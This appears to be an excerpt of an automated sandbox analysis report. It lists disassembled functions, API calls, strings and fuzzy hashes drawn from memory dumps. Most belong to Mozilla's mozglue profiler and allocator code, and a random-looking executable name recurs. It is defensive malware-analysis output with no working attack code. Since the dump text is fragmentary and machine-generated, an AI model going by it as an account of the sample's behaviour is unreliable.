Part of subcall function 6CDA30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CDA3127
Part of subcall function 6CDA30F0: __aulldiv.LIBCMT ref: 6CDA3140

Part of subcall function 6CDDAB2A: __onexit.LIBCMT ref: 6CDDAB30

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 86d54f55f311880a3fb66b6bd441bb227af490a612de575f41d89222724b048d
Instruction ID: 555229bf5d6b35de644eb4ec4fc377f55fb3d641e1f65ed54c9c50683546a7a5
Opcode Fuzzy Hash: 86d54f55f311880a3fb66b6bd441bb227af490a612de575f41d89222724b048d
Instruction Fuzzy Hash: D7F0F922E2079496CA10DF748841FE6B375EF6B214F515719E84553561FF28A1D883D2

Function 00392E84 Relevance: 1.3, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@n<, xrefs: 00392EE4, 00392EFF, 00392F17

Memory Dump Source

Source File: 00000000.00000002.1379707734.000000000029C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.1379669086.0000000000060000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707734.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707734.00000000000A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707734.0000000000106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707734.0000000000285000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707734.0000000000297000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707734.00000000003CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707734.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707734.0000000000475000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707734.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707734.0000000000A26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @n<
API String ID: 0-1539993212
Opcode ID: 7b5ceec2003a5f565ef97dd00cf82990402c9fd10433916516a6f497ce2de3aa
Instruction ID: d060953e132f626d3c4d687dc270d6d5713f5f7873cc66c6890d10f0e689a9f2
Opcode Fuzzy Hash: 7b5ceec2003a5f565ef97dd00cf82990402c9fd10433916516a6f497ce2de3aa
Instruction Fuzzy Hash: 55119130700501AFE717DF2ED8C5E56B3ABAF8A308F118272E5068B3A5CB74AC45CB94

Non-executed Functions

Function 6CDB5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CDB5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDB54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDB54BE
__Init_thread_footer.LIBCMT ref: 6CDB54DB

Part of subcall function 6CDDAB3F: EnterCriticalSection.KERNEL32(6CE2E370,?,?,6CDA3527,6CE2F6CC,?,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB49
Part of subcall function 6CDDAB3F: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA3527,6CE2F6CC,?,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDAB7C

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

GetCurrentThreadId.KERNEL32 ref: 6CDB54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CDB5516
GetCurrentThreadId.KERNEL32 ref: 6CDB556A
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDB5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CDB5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CDB5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CDB55E6
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDB5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDB5616

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

GetCurrentThreadId.KERNEL32 ref: 6CDB563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDB5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CDB567C
free.MOZGLUE(?), ref: 6CDB56AE

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CDB56E8
GetCurrentThreadId.KERNEL32 ref: 6CDB5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CDB570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CDB5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CDB574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CDB576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CDB5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CDB57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CDB57CA

Strings

GeckoMain, xrefs: 6CDB5554, 6CDB55D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CDB5B38
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CDB5749
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CDB5791
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CDB56E3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CDB5D01
MOZ_BASE_PROFILER_HELP, xrefs: 6CDB5511
MOZ_PROFILER_STARTUP, xrefs: 6CDB55E1
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CDB5724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CDB5AC9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CDB5BBE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CDB5D24
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CDB5D2B
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CDB57C5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CDB57AE
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CDB5C56
[I %d/%d] profiler_init, xrefs: 6CDB564E
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CDB5D1C
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CDB5CF9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CDB548D
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CDB5766
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CDB5717
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CDB584E
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CDB54B9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CDB54A3

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 00cfcbaee0c967dc13188fa9c0cfe26841de54dc937cd5ddc3027635751f438c
Instruction ID: eb47dc59525301abc4e3104842276562f09422b548b377dbd0d2dacb4d56e3b0
Opcode Fuzzy Hash: 00cfcbaee0c967dc13188fa9c0cfe26841de54dc937cd5ddc3027635751f438c
Instruction Fuzzy Hash: DF2213F4A04340DFEB00AF64C85476AB7B5BF46308F140A29E947A7A61FB39D844CB63

Function 6CDB6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CDB6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CDB6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CDB6D26

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CDB6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CDB6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CDB6D73
free.MOZGLUE(00000000), ref: 6CDB6D80
CertGetNameStringW.CRYPT32 ref: 6CDB6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CDB6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CDB6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CDB6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CDB6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CDB6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CDB6E34
CreateFileW.KERNEL32 ref: 6CDB6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CDB6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CDB6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CDB709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CDB7103
free.MOZGLUE(00000000), ref: 6CDB7153
CloseHandle.KERNEL32(?), ref: 6CDB7176
__Init_thread_footer.LIBCMT ref: 6CDB7209
__Init_thread_footer.LIBCMT ref: 6CDB723A
__Init_thread_footer.LIBCMT ref: 6CDB726B
__Init_thread_footer.LIBCMT ref: 6CDB729C
__Init_thread_footer.LIBCMT ref: 6CDB72DC
__Init_thread_footer.LIBCMT ref: 6CDB730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CDB73C2
VerSetConditionMask.NTDLL ref: 6CDB73F3
VerSetConditionMask.NTDLL ref: 6CDB73FF
VerSetConditionMask.NTDLL ref: 6CDB7406
VerSetConditionMask.NTDLL ref: 6CDB740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CDB741A
moz_xmalloc.MOZGLUE(?), ref: 6CDB755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CDB7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CDB7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CDB7598
free.MOZGLUE(00000000), ref: 6CDB75AC

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

Strings

SHA256, xrefs: 6CDB6EC0
(, xrefs: 6CDB768A
wintrust.dll, xrefs: 6CDB72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CDB72C8

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: aaa2eb676a48a142dd9f6be311409e3cf8de488471ac47f129101396ff8851ae
Instruction ID: a72deac94471995338b45ba5d2ffabc35d896c60b9e485116305d0a87f98e4db
Opcode Fuzzy Hash: aaa2eb676a48a142dd9f6be311409e3cf8de488471ac47f129101396ff8851ae
Instruction Fuzzy Hash: A252D6B1E00214EBEB25DF24CC84BAAB7B8FF45704F114199E50AA7650DB78AF85CF61

Function 6CDD6FF0 Relevance: 92.6, APIs: 39, Strings: 12, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDD7019
LeaveCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDD7061
EnterCriticalSection.KERNEL32(?), ref: 6CDD71A4
LeaveCriticalSection.KERNEL32(?), ref: 6CDD721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CDD723E
EnterCriticalSection.KERNEL32(?), ref: 6CDD726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CDD72B2
LeaveCriticalSection.KERNEL32(?), ref: 6CDD733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CDD73E8
LeaveCriticalSection.KERNEL32(?), ref: 6CDD961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDD9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDD9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDD964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDD96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDD96DB
AcquireSRWLockExclusive.KERNEL32(6CE2E804), ref: 6CDD9747
GetSystemInfo.KERNEL32(?), ref: 6CDD9792
__Init_thread_footer.LIBCMT ref: 6CDD97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CE2E810,00000040), ref: 6CDD97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E7B8,00001388), ref: 6CDD9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E744,00001388), ref: 6CDD984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E784,00001388), ref: 6CDD9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E7DC,00001388), ref: 6CDD9895

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CDD9BF4
Compile-time page size does not divide the runtime one., xrefs: 6CDD9B38
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CDD99D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CDD99BD
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDD70C4, 6CDD70DE, 6CDD892F
MALLOC_OPTIONS, xrefs: 6CDD97CA
WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDD7248
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDD9933, 6CDD9A33, 6CDD9A4E
MOZ_CRASH(), xrefs: 6CDD9B42
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CDD9993
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CDD99A8
<jemalloc>, xrefs: 6CDD9B33, 6CDD9BE3

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 4047164644-2755134430
Opcode ID: 409e910a2bcc9c794d6fa6b49bcf3fece9999045dcbcf05dd82c0e62b2aefbb6
Instruction ID: 588f8c98fdbe3bc8931ea9e2d921d613b564bdabd1012aa6746891646cbabfb6
Opcode Fuzzy Hash: 409e910a2bcc9c794d6fa6b49bcf3fece9999045dcbcf05dd82c0e62b2aefbb6
Instruction Fuzzy Hash: 7A538D71A05701DFC704CF28C990715BBE1BF85328F2AC6ADE8A98B7A5D775E841CB81

Function 6CDE0DD0 Relevance: 87.4, APIs: 36, Strings: 12, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDE0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CDE0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CDE0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CDE0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CDE1031
LeaveCriticalSection.KERNEL32(?), ref: 6CDE10D0
EnterCriticalSection.KERNEL32(?), ref: 6CDE117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CDE1C39
EnterCriticalSection.KERNEL32(6CE2E744), ref: 6CDE3391
LeaveCriticalSection.KERNEL32(6CE2E744), ref: 6CDE33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CDE3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDE3437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CDE3A02
Compile-time page size does not divide the runtime one., xrefs: 6CDE3946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CDE37D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CDE37BD
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDE0E46, 6CDE0E62, 6CDE0E93, 6CDE2738
MALLOC_OPTIONS, xrefs: 6CDE35FE
WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDE0FC5
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDE3559, 6CDE382D, 6CDE3848
MOZ_CRASH(), xrefs: 6CDE3950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CDE3793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CDE37A8
<jemalloc>, xrefs: 6CDE3941, 6CDE39F1

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw$WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR
API String ID: 3040639385-2755134430
Opcode ID: 0b53a12450d6e1044cbb54bb3b0727e00c3787ed3148a3152ead84276fbdfe7c
Instruction ID: 2fb6995053bef19e32f3f3b3a6cd1e8be2d9ea44d5a353f171553296283541bf
Opcode Fuzzy Hash: 0b53a12450d6e1044cbb54bb3b0727e00c3787ed3148a3152ead84276fbdfe7c
